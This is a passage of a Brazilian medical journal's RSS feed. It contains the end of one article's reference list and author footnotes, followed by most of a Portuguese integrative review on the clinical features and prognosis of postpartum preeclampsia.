<p class="wp-block-paragraph">GASPAR, G. A. A; RIBEIRO, J. R; CAVALCANTE, J. F; NETO, L. T. R; COSTA, R. O; <strong>A dança na terceira idade promovendo qualidade de vida.</strong> Revista Diálogos Acadêmicos, Fortaleza, v. 6, n. 2, jul./dez. 2017.</p>



<p class="wp-block-paragraph">MARTINS, L.M; ABRANTES, A.A; FACCI, M.G.D.&nbsp;<strong>Periodização histórico-cultural do desenvolvimento psíquico: do nascimento à velhice</strong>. Autores Associados, 2020.</p>



<p class="wp-block-paragraph">MCARDLE, W. D.; KATCH, F. I.; KATCH, V. L. <strong>Sports &amp; Exercise Nutrition</strong>, 3rd. 2008.</p>



<p class="wp-block-paragraph">NOGUEIRA, I.C. et al. Efeitos do exercício físico no controle da hipertensão arterial em idosos: uma revisão sistemática.&nbsp;<strong>Revista Brasileira de Geriatria e Gerontologia</strong>, v. 15, p. 587-601, 2012.</p>



<p class="wp-block-paragraph">ORGANIZAÇÃO MUNDIAL DA SAÚDE (OMS); ORGANIZAÇÃO PANAMERICANA DA SAÚDE (OPAS). <strong>Decade of healthy ageing: baseline report</strong>. 2021. Disponível em: <a href="https://iris.paho.org/bitstream/handle/10665.2/52902/OPASWBRAFPL20120_por.pdf?sequence=1&amp;isAllowed=y">OPASWBRAFPL20120_por.pdf (pa https://iris.paho.org/bitstream/handle/10665.2/52902/OPASWBRAFPL20120_por.pdf?sequence=1&amp;isAllowed=y ho.org)</a>. Acesso em: 10 de Nov. 2021.</p>



<p class="wp-block-paragraph">RUIVO, J.A; ALCÂNTARA, P. Hypertension and exercise.&nbsp;<strong>Revista Portuguesa de Cardiologia (English Edition)</strong>, v. 31, n. 2, p. 151-158, 2012.</p>



<p class="wp-block-paragraph">SANTOS, A. A; EVANGELISTA, J. M. V; RIBEIRO, H. L; SOARES, V; TOLENTINO, G. P; VENÂNCIA, P. E. M. <strong>Qualidade de vida em idosos praticantes do programa Universidade Aberta para a Terceira Idade (UNIATI).</strong> R. bras. Qual. Vida, Ponta Grossa, v. 9, n. 2, p. 141-152, abr./jun. 2017.</p>



<p class="wp-block-paragraph">SEVERINO, A.&nbsp; J. <strong>Metodologia do trabalho científico</strong>. São Paulo: Cortez, 2007.&nbsp;</p>



<p class="wp-block-paragraph">SIQUEIRA, T.C,B; PEREIRA, A.B.M. Terceira Idade e Sexualidade: um encontro possível?.&nbsp;<strong>Revista Fragmentos de Cultura-Revista Interdisciplinar de Ciências Humanas</strong>, v. 17, n. 2, p. 271-277, 2007.</p>



<p class="wp-block-paragraph">SOCIEDADE BRASILEIRA DE GERIATRIA E GERONTOLOGIA. Hipertensão Arterial Sistêmica em Idosos.&nbsp; s/d. Disponível em: <a href="https://www.sbgg-sp.com.br/hipertensao-arterial-em-idosos/">https://www.sbgg-sp.com.br/hipertensao-arterial-em-idosos/</a>. Acesso em: 10 de Nov. 2021.</p>



<p class="wp-block-paragraph">VILLARDI,&nbsp; ML,&nbsp; CYRINO,&nbsp; EG, and&nbsp; BERBEL,&nbsp; NAN.&nbsp; A&nbsp; metodologia da&nbsp; problematização&nbsp; no&nbsp; ensino em saúde: suas etapas&nbsp; e&nbsp; possibilidades.&nbsp; In:&nbsp; <strong>A&nbsp; problematização em&nbsp; educação&nbsp; em saúde:&nbsp; percepções&nbsp; dos professores tutores e&nbsp; alunos</strong> [online].&nbsp; São Paulo:&nbsp; Editora&nbsp; UNESP;&nbsp; São&nbsp; Paulo:&nbsp; Cultura&nbsp; Acadêmica, 2015,&nbsp; pp.&nbsp; 45-52.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">WORLD HALTH ORGANIZATION (WHO). Diretrizes da OMS para atividade física e comportamentos sedentários. 2020. Disponível em: <a href="https://apps.who.int/iris/bitstream/handle/10665/337001/9789240014886-por.pdf?sequence=102&amp;isAllowed=y">9789240 https://apps.who.int/iris/bitstream/handle/10665/337001/9789240014886-por.pdf?sequence=102&amp;isAllowed=y014886-por.pdf (who.int)</a>. Acesso em: 10 de Nov. 2021.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Acadêmica de Medicina. Centro Universitário Alfredo Nasser – UNIFAN. paulanayarajf@hotmail.com<br><sup>2</sup>Acadêmica de Medicina. Centro Universitário Alfredo Nasser – UNIFAN. angelaap13@hotmail.com<br><sup>3</sup>Acadêmica de Medicina. Centro Universitário Alfredo Nasser – UNIFAN. kamilamiranda1985@hotmail.com<br><sup>4</sup>Acadêmico de Medicina. Centro Universitário de Goiatuba – Unicerrado. castanheiracaio9@gmail.com<br><sup>5</sup>Acadêmico de Medicina. Universidade Vale do Rio Doce – UNIVALE. Talyssonbr@gmail.com<br><sup>6</sup>Acadêmica de Medicina. Centro Universitário de Goiatuba – Unicerrado. isabelafribeiro08@gmail.com<br><sup>7</sup>Acadêmico de Medicina. Centro Universitário de Goiatuba – Unicerrado. vitordf97@gmail.com<br><sup>8</sup>Acadêmica de Medicina. Centro Universitário Alfredo Nasser – UNIFAN<br><sup>9</sup>Doutora em Ciências da Saúde. Universidade Estadual de Goiás – UEG. samanta.souza@ueg.br<br><sup>10</sup>Doutora em Ciências da Saúde pela Universidade Federal de Goiás – UFG. lidia.acyole@gmail.com</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PRÉ-ECLÂMPSIA NO PÓS-PARTO IMEDIATO E TARDIO:  ASPECTOS CLÍNICOS E PROGNÓSTICOS</title>
		<link>https://revistaft.com.br/pre-eclampsia-no-pos-parto-imediato-e-tardio-aspectos-clinicos-e-prognosticos/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 11 Feb 2026 16:29:18 +0000</pubDate>
				<category><![CDATA[Medicina]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=265142</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202602111328 Mariana Alice Borgo RossiLaura Kontze GalliDr. Vinicius Ribeiro de OliveiraDr. Gilberto dos Santos Povoas JúniorDra. Ana Claudia BarrosEnf. Obst. Gleice Rodrigues Eller Gonzaga RESUMO&#160; A pré-eclâmpsia é uma síndrome hipertensiva específica da gestação, caracterizada por elevação da pressão arterial associada à disfunção endotelial sistêmica e comprometimento de órgãos-alvo. Embora classicamente relacionada ao [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202602111328</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Mariana Alice Borgo Rossi<br>Laura Kontze Galli<br>Dr. Vinicius Ribeiro de Oliveira<br>Dr. Gilberto dos Santos Povoas Júnior<br>Dra. Ana Claudia Barros<br>Enf. Obst. Gleice Rodrigues Eller Gonzaga</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">A pré-eclâmpsia é uma síndrome hipertensiva específica da gestação, caracterizada por elevação da pressão arterial associada à disfunção endotelial sistêmica e comprometimento de órgãos-alvo. Embora classicamente relacionada ao período gestacional, evidências recentes demonstram que a doença pode persistir ou manifestar-se de forma tardia no puerpério, configurando a pré-eclâmpsia pós-parto. Essa condição representa importante causa de morbidade materna, frequentemente subdiagnosticada, devido à falsa percepção de resolução completa após o parto. Estudos contemporâneos indicam elevada prevalência de hipertensão persistente no pós-parto, além de associação com complicações neurológicas, cardiovasculares e aumento do risco de doenças cardiovasculares a longo prazo. Diante desse contexto, o reconhecimento precoce, o monitoramento adequado e a estratificação prognóstica tornam-se essenciais para reduzir desfechos adversos maternos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> pré-eclâmpsia; pós-parto; puerpério; hipertensão; prognóstico materno.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">Preeclampsia is a pregnancy-specific hypertensive disorder characterized by elevated blood pressure associated with systemic endothelial dysfunction and target-organ damage. Although traditionally linked to pregnancy, recent evidence demonstrates that the disease may persist or manifest de novo during the postpartum period, characterizing postpartum preeclampsia. This condition represents a significant cause of maternal morbidity and is frequently underdiagnosed due to the mistaken belief that delivery leads to complete resolution. Contemporary studies report a high prevalence of persistent postpartum hypertension, as well as associations with neurological and cardiovascular complications and an increased long-term cardiovascular risk. Therefore, early recognition, adequate monitoring, and prognostic stratification are essential to reduce adverse maternal outcomes.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> preeclampsia; postpartum; puerperium; hypertension; maternal prognosis.&nbsp;</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A pré-eclâmpsia (PE) constitui uma das principais síndromes hipertensivas da gestação e permanece como causa relevante de morbimortalidade materna em nível global, especialmente em países de média e baixa renda. De acordo com critérios amplamente aceitos, a condição é definida pelo surgimento de hipertensão arterial (pressão arterial sistólica ≥ 140 mmHg e/ou diastólica ≥ 90 mmHg) após a 20ª semana de gestação, associada à proteinúria ou a sinais de disfunção orgânica materna, incluindo comprometimento renal, hepático, neurológico, hematológico ou uteroplacentário (ACOG, 2020; MAGEE et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Historicamente, o parto era considerado o evento definitivo para a resolução da pré-eclâmpsia. Contudo, estudos recentes demonstram que a fisiopatologia da doença não se encerra com a dequitação placentária, uma vez que a disfunção endotelial sistêmica, à inflamação persistente e as alterações hemodinâmicas podem manter-se ativas no período pós-parto (FOX et al., 2019; BROWN et al., 2023). Nesse contexto, surge o conceito de pré-eclâmpsia pós-parto, definida como a ocorrência de sinais e sintomas da doença após o parto, podendo manifestar-se tanto de forma imediata (até 48 horas) quanto tardia, até seis semanas após o nascimento (MAGEE et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">A pré-eclâmpsia pós-parto tardia tem recebido crescente atenção na literatura, sobretudo por seu caráter insidioso e pela dificuldade diagnóstica. Muitas mulheres recebem alta hospitalar assintomáticas e retornam aos serviços de saúde com quadros graves, como cefaleia persistente, alterações visuais, dispneia, edema agudo de pulmão, crise hipertensiva e eclâmpsia, frequentemente sem associação imediata com a gestação recente (SIBAI, 2021). Estudos observacionais indicam que uma parcela significativa dos casos de eclâmpsia ocorre no período pós-parto, reforçando a necessidade de vigilância clínica contínua (SIBAI, 2021; HAUGHTON et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph">Além das complicações agudas, a pré-eclâmpsia no pós-parto está fortemente associada à persistência de hipertensão arterial. Evidências demonstram que mulheres com histórico de pré-eclâmpsia apresentam taxas significativamente mais elevadas de hipertensão crônica nas semanas e meses subsequentes ao parto, especialmente aquelas com início precoce da doença ou formas graves (VELDE et al., 2023). Um estudo de coorte recente identificou que mais de 60% das mulheres com pré-eclâmpsia mantiveram níveis pressóricos elevados três meses após o parto, sugerindo transição precoce para hipertensão crônica (SANTOS et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Do ponto de vista prognóstico, a pré-eclâmpsia é atualmente reconhecida como marcador independente de risco cardiovascular a longo prazo. Mulheres acometidas apresentam maior incidência de doença arterial coronariana, acidente vascular cerebral, insuficiência cardíaca e mortalidade cardiovascular ao longo da vida (WU et al., 2022). A persistência da hipertensão no pós-parto representa um elo fisiopatológico importante entre a doença gestacional e as complicações cardiovasculares futuras, reforçando a necessidade de estratégias de acompanhamento prolongado e abordagem multiprofissional (BROWN et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Apesar da relevância clínica e epidemiológica, a pré-eclâmpsia pós-parto permanece subdiagnosticada e subvalorizada na prática clínica, especialmente na atenção primária à saúde. A ausência de protocolos padronizados de seguimento puerperal, aliada à fragmentação do cuidado materno após o parto, contribui para o atraso no diagnóstico e para a ocorrência de desfechos adversos potencialmente evitáveis (WHO, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Diante desse cenário, torna-se fundamental aprofundar o conhecimento sobre os aspectos clínicos, fisiopatológicos e prognósticos da pré-eclâmpsia no pós-parto imediato e tardio, a fim de subsidiar práticas assistenciais baseadas em evidências e reduzir a morbimortalidade materna associada a essa condição.&nbsp;</p>



<p class="wp-block-paragraph"><strong>JUSTIFICATIVA&nbsp;</strong></p>



<p class="wp-block-paragraph">A pré-eclâmpsia permanece como uma das principais causas de morbimortalidade materna em âmbito mundial, sendo tradicionalmente abordada como uma condição restrita ao período gestacional. No entanto, evidências científicas recentes demonstram que a doença pode persistir ou manifestar-se de forma tardia no período pós-parto, configurando a pré-eclâmpsia pós-parto, condição ainda subestimada na prática clínica e nos protocolos assistenciais (SIBAI, 2021; MAGEE et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">O puerpério é frequentemente considerado um período de menor risco, o que contribui para a redução da vigilância clínica após a alta hospitalar. Tal percepção pode resultar em atraso diagnóstico, manejo inadequado e aumento do risco de complicações graves, como crises hipertensivas, eclâmpsia, edema agudo de pulmão e acidente vascular cerebral, especialmente nos casos de pré-eclâmpsia pós-parto tardia (HAUGHTON et al., 2020). Além disso, a persistência da hipertensão arterial após o parto representa um importante fator prognóstico para o desenvolvimento de hipertensão crônica e doenças cardiovasculares ao longo da vida da mulher (WU et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Apesar do crescente número de estudos publicados nos últimos anos, observa-se heterogeneidade nas definições, critérios diagnósticos, estratégias de acompanhamento e manejo da pré-eclâmpsia no pós-parto, o que dificulta a padronização da assistência e a incorporação das evidências à prática clínica (BROWN et al., 2023). Ademais, há escassez de protocolos específicos voltados ao acompanhamento puerperal prolongado, especialmente na atenção primária à saúde, cenário no qual muitas dessas pacientes são acompanhadas após a alta hospitalar.&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, justifica-se a realização do presente estudo pela necessidade de sistematizar e analisar criticamente as evidências científicas recentes acerca dos aspectos clínicos e prognósticos da pré-eclâmpsia no pós-parto imediato e tardio. A compreensão aprofundada dessa condição poderá contribuir para o aprimoramento das estratégias de vigilância, diagnóstico precoce e manejo adequado, além de subsidiar políticas de saúde voltadas à redução da morbimortalidade materna e à promoção da saúde cardiovascular da mulher.&nbsp;</p>



<p class="wp-block-paragraph"><strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de um estudo de natureza qualitativa, do tipo <strong>revisão integrativa da literatura</strong>, com o objetivo de reunir, analisar e sintetizar criticamente as evidências científicas disponíveis acerca da pré-eclâmpsia no pós-parto imediato e tardio, com enfoque nos aspectos clínicos, fisiopatológicos e prognósticos.&nbsp;</p>



<p class="wp-block-paragraph">A revisão integrativa foi conduzida em seis etapas metodológicas: (1) formulação da pergunta norteadora; (2) definição dos critérios de inclusão e exclusão; (3) busca sistemática na literatura; (4) seleção dos estudos; (5) análise crítica e extração dos dados; e (6) síntese e apresentação dos resultados, conforme metodologia descrita por Whittemore e Knafl.&nbsp;</p>



<p class="wp-block-paragraph">A pergunta norteadora do estudo foi elaborada com base na estratégia PICO adaptada para revisões integrativas, sendo definida como: <em>Quais são os principais aspectos clínicos, diagnósticos e prognósticos da pré-eclâmpsia no período pós-parto, segundo as evidências científicas publicadas nos últimos cinco anos?&nbsp;</em></p>



<p class="wp-block-paragraph">A busca dos artigos foi realizada nas bases de dados PubMed/MEDLINE,&nbsp;Scopus, Web of Science e SciELO, no período de janeiro de 2020 a dezembro de 2025, com o intuito de contemplar as evidências mais recentes sobre o tema. Foram utilizados descritores controlados e não controlados, combinados por meio dos operadores booleanos AND e OR, tais como: <em>preeclampsia</em>, <em>postpartum preeclampsia</em>, <em>postpartum hypertension</em>, <em>puerperium</em>, <em>maternal outcomes</em> e seus correspondentes em português e espanhol.&nbsp;</p>



<p class="wp-block-paragraph">Os critérios de inclusão adotados foram: (a) artigos originais publicados nos últimos cinco anos; (b) estudos observacionais, ensaios clínicos, coortes, estudos de caso-controle ou estudos prospectivos; (c) pesquisas que abordassem a pré-eclâmpsia no período pós-parto imediato ou tardio; e (d) publicações disponíveis na íntegra nos idiomas português, inglês ou espanhol. Foram excluídos artigos de revisão narrativa, revisões sistemáticas, metanálises, editoriais, cartas ao editor, estudos experimentais em animais e publicações duplicadas.&nbsp;</p>



<p class="wp-block-paragraph">A seleção dos estudos ocorreu em duas etapas. Inicialmente, procedeu-se à leitura dos títulos e resumos, a fim de identificar aqueles potencialmente relevantes.&nbsp;</p>



<p class="wp-block-paragraph">Em seguida, os artigos selecionados foram submetidos à leitura na íntegra para confirmação da elegibilidade, conforme os critérios previamente estabelecidos.&nbsp;</p>



<p class="wp-block-paragraph">A extração dos dados foi realizada por meio de instrumento padronizado, contemplando as seguintes variáveis: autor, ano de publicação, país de origem, delineamento do estudo, tamanho da amostra, critérios diagnósticos de pré-eclâmpsia pós-parto, principais manifestações clínicas, estratégias de manejo adotadas e desfechos maternos avaliados. A análise dos dados foi conduzida de forma descritiva e interpretativa, permitindo a identificação de padrões, divergências e lacunas no conhecimento científico atual.&nbsp;</p>



<p class="wp-block-paragraph">Por tratar-se de um estudo de revisão de literatura, sem envolvimento direto de seres humanos, não houve necessidade de submissão a comitê de ética em pesquisa, conforme as diretrizes da Resolução nº 510/2016 do Conselho Nacional de Saúde.&nbsp;</p>



<p class="wp-block-paragraph"><strong>OBJETIVOS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Objetivo Geral&nbsp;</strong></p>



<p class="wp-block-paragraph">Analisar, à luz da literatura científica recente, os aspectos clínicos, fisiopatológicos e prognósticos da pré-eclâmpsia no pós-parto imediato e tardio, destacando suas implicações para o diagnóstico, manejo e acompanhamento da saúde materna.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Objetivos Específicos&nbsp;</strong></p>



<ul class="wp-block-list">
<li>Descrever os principais mecanismos fisiopatológicos envolvidos na persistência ou no surgimento da pré-eclâmpsia no período pós-parto;&nbsp;</li>
</ul>



<ul class="wp-block-list">
<li>Identificar as manifestações clínicas mais frequentes da pré-eclâmpsia pós-parto imediato e tardio;&nbsp;</li>
</ul>



<ul class="wp-block-list">
<li>Analisar os critérios diagnósticos utilizados para o reconhecimento da pré-eclâmpsia no puerpério;&nbsp;</li>
</ul>



<ul class="wp-block-list">
<li>Avaliar os principais desfechos maternos associados à pré-eclâmpsia pós-parto, com ênfase no prognóstico cardiovascular;&nbsp;</li>
</ul>



<ul class="wp-block-list">
<li>Discutir a importância do acompanhamento puerperal prolongado na prevenção de complicações maternas.&nbsp;</li>
</ul>



<p class="wp-block-paragraph"><strong>REVISÃO DA LITERATURA&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>Conceito e classificação da pré-eclâmpsia pós-parto&nbsp;</strong></p>



<p class="wp-block-paragraph">A pré-eclâmpsia é definida como uma síndrome hipertensiva multissistêmica específica da gestação, caracterizada por hipertensão arterial associada à disfunção orgânica materna. Embora classicamente descrita como condição resolvida com o parto, evidências contemporâneas demonstram que a doença pode persistir ou manifestar-se de forma tardia no puerpério, sendo então denominada pré-eclâmpsia pós-parto (ACOG, 2020; MAGEE et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">A pré-eclâmpsia pós-parto pode ser classificada em imediata, quando ocorre nas primeiras 48 horas após o parto, e tardia, quando se manifesta entre 48 horas e até seis semanas após o nascimento. Essa distinção é clinicamente relevante, uma vez que os mecanismos fisiopatológicos, a apresentação clínica e o risco de complicações podem variar entre essas duas formas (SIBAI, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Estudos recentes apontam que uma parcela significativa das complicações graves relacionadas à pré-eclâmpsia, incluindo eclâmpsia e acidente vascular cerebral, ocorre no período pós-parto, muitas vezes após a alta hospitalar, reforçando a necessidade de vigilância contínua nesse período (HAUGHTON et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>Fisiopatologia da pré-eclâmpsia no pós-parto&nbsp;</strong></p>



<p class="wp-block-paragraph">A fisiopatologia da pré-eclâmpsia envolve disfunção endotelial sistêmica desencadeada, inicialmente, por alterações na placentação e liberação de fatores antiangiogênicos na circulação materna. Embora a retirada da placenta seja considerada evento central para a resolução da doença, estudos demonstram que a cascata inflamatória e os efeitos endoteliais podem persistir por semanas após o parto (FOX et al., 2019; BROWN et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">No pós-parto, a redistribuição de fluidos do espaço extravascular para o intravascular, associada à mobilização do edema gestacional, pode levar ao aumento abrupto do volume circulante efetivo, contribuindo para elevação pressórica e sobrecarga cardíaca. Esse mecanismo explica, em parte, o surgimento tardio da hipertensão e de complicações como edema agudo de pulmão em mulheres previamente assintomáticas (SIBAI, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Além disso, a persistência de níveis elevados de fatores antiangiogênicos, como o sFlt-1, e a redução de fatores pró-angiogênicos, como o PlGF, têm sido descritas no período pós-parto, sustentando o estado de disfunção endotelial e inflamação sistêmica (WU et al., 2022). Esses achados reforçam que a pré-eclâmpsia pós-parto não representa apenas uma extensão temporal da doença gestacional, mas um fenômeno fisiopatológico ativo.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>Manifestações clínicas e diagnóstico no puerpério&nbsp;</strong></p>



<p class="wp-block-paragraph">As manifestações clínicas da pré-eclâmpsia pós-parto são variadas e frequentemente inespecíficas, o que contribui para o subdiagnóstico. Os sintomas mais comuns incluem cefaléia persistente e de forte intensidade, alterações visuais, náuseas, dor epigástrica ou em hipocôndrio direito, dispneia e edema de instalação súbita (HAUGHTON et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph">A hipertensão arterial permanece como o principal sinal clínico, podendo apresentar-se de forma isolada ou associada a sinais de disfunção orgânica, como elevação de enzimas hepáticas, trombocitopenia, insuficiência renal e alterações neurológicas. Ressalta-se que a proteinúria pode estar ausente, não devendo sua ausência excluir o diagnóstico (ACOG, 2020).&nbsp;</p>



<p class="wp-block-paragraph">O diagnóstico da pré-eclâmpsia pós-parto baseia-se nos mesmos critérios utilizados durante a gestação, adaptados ao contexto puerperal. No entanto, a ausência de protocolos padronizados de rastreamento no pós-parto contribui para atrasos no diagnóstico, especialmente na atenção primária à saúde (BROWN et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>Prognóstico materno e implicações a longo prazo&nbsp;</strong></p>



<p class="wp-block-paragraph">O prognóstico da pré-eclâmpsia pós-parto está diretamente relacionado à gravidade da apresentação clínica, ao tempo de reconhecimento da condição e à adequação do manejo instituído. Estudos de coorte demonstram que mulheres com pré-eclâmpsia apresentam maior risco de hipertensão persistente nas semanas e meses subsequentes ao parto, com taxas que podem ultrapassar 60% em três meses pós-parto (SANTOS et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Além das complicações imediatas, a pré-eclâmpsia é atualmente reconhecida como marcador independente de risco cardiovascular a longo prazo. Mulheres acometidas apresentam maior incidência de hipertensão crônica, doença arterial coronariana, acidente vascular cerebral e insuficiência cardíaca ao longo da vida (WU et al., 2022). A persistência da hipertensão no pós-parto representa um elo crítico entre a doença hipertensiva gestacional e as doenças cardiovasculares futuras.&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, a literatura recente enfatiza a importância do acompanhamento puerperal prolongado e da integração entre atenção obstétrica, clínica e atenção primária, visando à identificação precoce de fatores de risco e à implementação de estratégias preventivas voltadas à saúde cardiovascular da mulher (WHO, 2022).&nbsp;</p>



<p class="wp-block-paragraph"><strong>DISCUSSÃO CRÍTICA&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise da literatura evidencia que a pré-eclâmpsia no pós-parto imediato e tardio constitui uma condição clínica relevante, porém ainda subvalorizada na prática assistencial. Embora o parto represente a retirada do principal fator desencadeador da doença a placenta, os estudos analisados demonstram de forma consistente que a fisiopatologia da pré-eclâmpsia persiste além do período gestacional, sustentada por disfunção endotelial, inflamação sistêmica e alterações hemodinâmicas prolongadas (FOX et al., 2019; BROWN et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Um dos pontos centrais discutidos na literatura refere-se à falsa percepção de resolução completa da pré-eclâmpsia após o parto. Diretrizes clássicas enfatizavam o parto como tratamento definitivo; contudo, evidências recentes demonstram que essa abordagem é insuficiente para explicar a ocorrência de manifestações tardias e complicações graves no puerpério (ACOG, 2020; MAGEE et al., 2022). Essa concepção equivocada contribui diretamente para a redução da vigilância clínica após a alta hospitalar, favorecendo o subdiagnóstico da pré-eclâmpsia pós-parto, especialmente em sua forma tardia.&nbsp;</p>



<p class="wp-block-paragraph">Estudos observacionais apontam que uma parcela expressiva das mulheres que desenvolvem pré-eclâmpsia pós-parto não apresentava sinais clínicos evidentes no momento da alta, retornando aos serviços de saúde com quadros potencialmente fatais, como crise hipertensiva, eclâmpsia e edema agudo de pulmão (SIBAI, 2021; HAUGHTON et al., 2020). Esses achados reforçam a necessidade de revisão crítica dos modelos tradicionais de acompanhamento puerperal, que frequentemente se limitam à avaliação pontual, sem monitoramento pressórico sistemático nas semanas subsequentes ao parto.&nbsp;</p>



<p class="wp-block-paragraph">Outro aspecto amplamente discutido diz respeito à persistência da hipertensão arterial no pós-parto. A literatura recente demonstra taxas elevadas de hipertensão sustentada até três meses após o parto, sobretudo em mulheres com pré-eclâmpsia de início precoce ou formas graves da doença (VELDE et al., 2023; SANTOS et al., 2024). Esses dados sugerem que, em muitos casos, a pré-eclâmpsia pode representar não apenas uma condição transitória, mas um marcador precoce de vulnerabilidade cardiovascular.&nbsp;</p>



<p class="wp-block-paragraph">Nesse contexto, a discussão prognóstica ganha destaque. Evidências robustas indicam associação consistente entre pré-eclâmpsia e aumento do risco de hipertensão crônica, doença arterial coronariana, acidente vascular cerebral e insuficiência cardíaca ao longo da vida da mulher (WU et al., 2022). A pré-eclâmpsia pós-parto, portanto, deve ser compreendida não apenas como evento obstétrico, mas como condição sentinela para doenças cardiovasculares futuras, exigindo abordagem longitudinal e multiprofissional.&nbsp;</p>



<p class="wp-block-paragraph">Apesar do avanço do conhecimento, observa-se heterogeneidade significativa entre os estudos quanto à definição, critérios diagnósticos e tempo de acompanhamento da pré-eclâmpsia pós-parto. Alguns autores consideram o período puerperal limitado a seis semanas, enquanto outros estendem a análise para até seis meses após o parto, dificultando comparações diretas e a consolidação de evidências (BROWN et al., 2023). Essa falta de padronização representa uma limitação importante da literatura atual e reforça a necessidade de consensos clínicos mais claros.&nbsp;</p>



<p class="wp-block-paragraph">Do ponto de vista assistencial, a literatura aponta falhas relevantes na integração entre atenção obstétrica e atenção primária à saúde. Após a alta hospitalar, muitas mulheres deixam de ser acompanhadas de forma sistemática, perdendo-se a oportunidade de diagnóstico precoce, ajuste terapêutico e educação em saúde (WHO, 2022). A ausência de protocolos estruturados para rastreamento da hipertensão no puerpério contribui para desfechos adversos potencialmente evitáveis.&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, a discussão crítica dos estudos analisados permite inferir que a pré-eclâmpsia pós-parto representa um problema de saúde pública ainda negligenciado. O reconhecimento dessa condição como parte de um continuum fisiopatológico, que se estende da gestação ao período pós-parto e à vida adulta, é fundamental para a reformulação das estratégias de cuidado materno. Investimentos em vigilância puerperal prolongada, capacitação profissional e integração dos níveis de atenção são medidas essenciais para reduzir a morbimortalidade materna associada à pré-eclâmpsia.&nbsp;</p>



<p class="wp-block-paragraph"><strong>LIMITAÇÕES DO ESTUDO&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo apresenta limitações inerentes ao delineamento metodológico adotado. Por tratar-se de uma revisão integrativa da literatura, os achados dependem da qualidade metodológica, dos critérios diagnósticos e dos delineamentos dos estudos incluídos, os quais apresentaram considerável heterogeneidade. Diferenças quanto à definição temporal da pré-eclâmpsia pós-parto, aos critérios de gravidade e ao período de seguimento dificultaram a comparação direta entre os resultados e a consolidação de evidências homogêneas.&nbsp;</p>



<p class="wp-block-paragraph">Outra limitação relevante refere-se à exclusão de revisões sistemáticas e metanálises, opção metodológica adotada para priorizar estudos originais recentes. Embora essa estratégia permite análise direta de dados primários, pode ter restringido a incorporação de sínteses quantitativas mais amplas sobre o tema. Ademais, a maioria dos estudos analisados foi conduzida em países de alta renda, o que pode limitar a generalização dos achados para contextos de países em desenvolvimento, onde o acesso ao cuidado puerperal é frequentemente mais restrito.&nbsp;</p>



<p class="wp-block-paragraph">Destaca-se ainda a escassez de estudos prospectivos de longo prazo especificamente voltados à pré-eclâmpsia pós-parto tardia, o que limita a compreensão completa de seus desfechos cardiovasculares e metabólicos a médio e longo prazo. Essa lacuna evidencia a necessidade de pesquisas futuras com delineamentos mais robustos e seguimento prolongado.&nbsp;</p>



<p class="wp-block-paragraph"><strong>IMPLICAÇÕES CLÍNICAS&nbsp;</strong></p>



<p class="wp-block-paragraph">Os achados desta revisão reforçam que a pré-eclâmpsia no pós-parto imediato e tardio deve ser reconhecida como condição clínica de alta relevância, com implicações diretas para a prática assistencial. A persistência ou o surgimento tardio da hipertensão arterial no puerpério exige que o acompanhamento materno não seja encerrado com a alta hospitalar, devendo incluir monitoramento pressórico sistemático nas semanas subsequentes ao parto.&nbsp;</p>



